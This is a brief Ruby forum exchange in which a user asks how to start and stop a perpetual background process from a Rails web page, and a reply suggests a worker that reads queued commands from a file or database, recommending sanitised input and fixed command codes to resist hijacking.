''Sup everybody?! I''ll be wanting to start/stop a background process via RoR''s web interface (probably by clicking a form button). When activated, this process will do its stuff perpetually, until deactivated again. Any ideas how to go about this? cron would probably be involved.

Then another background process periodically reads that file and executes commands within. You could do the same using a database as well which would avoid some locking issues... Just be sure you sanatize the input. Even better, write a code like "START_FOO" which when read will run a specific command. That will make it a lot harder to hijack. -- Posted via http://www.ruby-forum.com/.
